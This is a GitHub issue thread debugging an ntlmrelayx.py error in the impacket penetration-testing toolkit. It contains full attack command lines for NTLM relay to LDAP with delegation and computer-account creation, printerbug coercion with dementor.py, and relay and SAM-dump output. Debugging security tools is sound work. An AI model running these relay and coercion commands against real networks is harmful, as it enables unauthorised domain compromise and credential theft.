fortra / impacket

Impacket is a collection of Python classes for working with network protocols.
https://www.coresecurity.com
Other
13.1k stars 3.51k forks source link

ntlmrelayx.py error when relaying to LDAP #794

Closed riflon closed 4 years ago

riflon commented 4 years ago

Configuration

impacket version: Impacket v0.9.21.dev1+20200309.134159.0b46f198 Python version: Python 2.7.17 Target OS: Windows Server 2016

ntlmrelayx.py issue when relaying to LDAP

The error obtained after relaying to LDAP to a second DC (this was in the context of a printerbug exploitation) was the following:

python ntlmrelayx.py -t ldaps://10.10.10.10 --remove-mic --delegate-access --add-computer 'NEWCOMPUTER$' -smb2support

ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.21.dev1+20200309.134159.0b46f198 - Copyright 2020 SecureAuth Corporation

[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] SMBD-Thread-3: Connection from DOMAIN/DC1$@xx.xx.xx.xx controlled, attacking target ldaps://10.10.10.10
[*] Authenticating against ldaps://10.10.10.10 as DOMAIN/DC1$@xx.xx.xx.xx
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] SMBD-Thread-3: Connection from DOMAIN/DC1$@xx.xx.xx.xx controlled, but there are no more targets left!
Exception in thread Thread-4:
Traceback (most recent call last):
  File "/usr/lib/python2.7/threading.py", line 801, in __bootstrap_inner
    self.run()
  File "/usr/local/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py", line 563, in run
    userSid, privs = self.validatePrivileges(self.username, domainDumper)
  File "/usr/local/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py", line 386, in validatePrivileges
    domainsid = self.client.entries[0]['objectSid'].value
  File "/usr/local/lib/python2.7/dist-packages/ldap3-2.5.1-py2.7.egg/ldap3/core/connection.py", line 1459, in entries
    self._entries = self._get_entries(self.response)
  File "/usr/local/lib/python2.7/dist-packages/ldap3-2.5.1-py2.7.egg/ldap3/core/connection.py", line 1487, in _get_entries
    Reader(self, object_def, self.request['base'], self.request['filter'], attributes=attr_set) if self.strategy.sync else Reader(self, object_def, '', '', attributes=attr_set))
KeyError: 'base'

Apparently there is an error in the context of connection.py and/or ldapattack.py libraries.

Additional context

We were able to successfuly run the command specified before with an older version of Impacket. Specifically with the version released on September 25th, 2019 (Impacket version 0.9.20). So apparenlty this bug was added in a recent commit.

Hackndo commented 4 years ago

I have an issue that seems related, but not sure about that. Here are the results with 3 different impacket versions

Context

DESKTOP01 (Win10 1909 Build 18363.418) : 10.10.30.1 APP01 (Win2019 1809 Build 17763.737) : 10.10.20.2 ATTACKER : 10.20.0.2 Machine account APP01$ is local admin of DESKTOP01. So I'm trying to leverage printerbug so that APP01$ authenticate against DESKTOP01.

1st case : Working as expected

Versions

Commands

ntlmrelayx

 ntlmrelayx.py -t 10.10.30.1 -smb2support

dementor

python dementor.py -u Administrator --ntlm <NT hash> -d hackn.lab 10.20.0.2 10.10.20.2

Result

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:nthash
[...]

Comment

This work as expected.

2nd case : Authentication fails

Versions

Commands

ntlmrelayx

 ntlmrelayx.py -t 10.10.30.1 -smb2support

dementor

python dementor.py -u Administrator --ntlm <NT hash> -d hackn.lab 10.20.0.2 10.10.20.2

Result

[*] SMBD-Thread-3: Received connection from 10.10.20.2, attacking target smb://10.10.30.1
[-] Authenticating against smb://10.10.30.1 as HL\APP01$ FAILED

Comment

With this version of impacket, authentication fails. NTLM messages are exchanged and relayed, but when attacker relays the last AUTHENTICATE message, servers replies with accept-incomplete I'm not sure of why that happens. NTLMv2 hash is computed, seems correct, every flag is here. Maybe that's yet another issue.

3rd case : No relay

Versions

Commands

ntlmrelayx

 ntlmrelayx.py -t 10.10.30.1 -smb2support

dementor

python3.7 dementor.py -u Administrator --ntlm <NT hash> -d hackn.lab 10.20.0.2 10.10.20.2

Result

Nothing happens.

Comment

With this version of Impacket, there's a new feature/trick added, the STATUS_NETWORK_SESSION_EXPIRED message sent to the client so it authenticates again, for each target provided by the attacker. For this to work, ntlmrelayx first authenticates the client without relaying, and once the SMB session is setup, and a smb2TreeConnect is asked by the client, ntlmrelayx sends STATUS_NETWORK_SESSION_EXPIRED , which makes the client authenticate again.

The thing is, in my case, right after sending "Setup Session Response" with accept-completed, the client sends a TCP RST, and thus never sends a smb Tree Connect request. So ntlmrelayx never sends back a STATUS_NETWORK_SESSION_EXPIRED, and the client never re-authenticate.

image

Conclusion

It seems that this trick added in 0.9.21 with STATUS_NETWORK_SESSION_EXPIRED created this issue. I'm gonna try to dig this issue.

0xdeaddood commented 4 years ago

Hi folks! Thanks for the detailed information, I'll take a look at this!

Hackndo commented 4 years ago

For my issue, I think I found the root cause. It's this new protection https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser

Since guest access is disabled by default, the server doesn't open an SMB session after authentication, and thus does not request a tree ID

On the left, you have a successful authentication + smb session starting, because it was an authenticated access (not guest). So the server knows the client credentials and signs the "Session setup response" accordingly, so ntlmrelayx can send a STATUS_NETWORK_SESSION_EXPIRED to trigger a new authentication On the right, it's a guest access, so after authentication, the server does not know the client's credentials, and does not sign the "Session setup response". So the server refuses to continue, and ntlmrelayx never sends a STATUS_NETWORK_SESSION_EXPIRED image

asolino commented 4 years ago

Closed as fixe in https://github.com/SecureAuthCorp/impacket/pull/835. @riflon reopen it if you find any issue.

riflon commented 4 years ago

Thank you @asolino and team. I'll test it as soon as possible.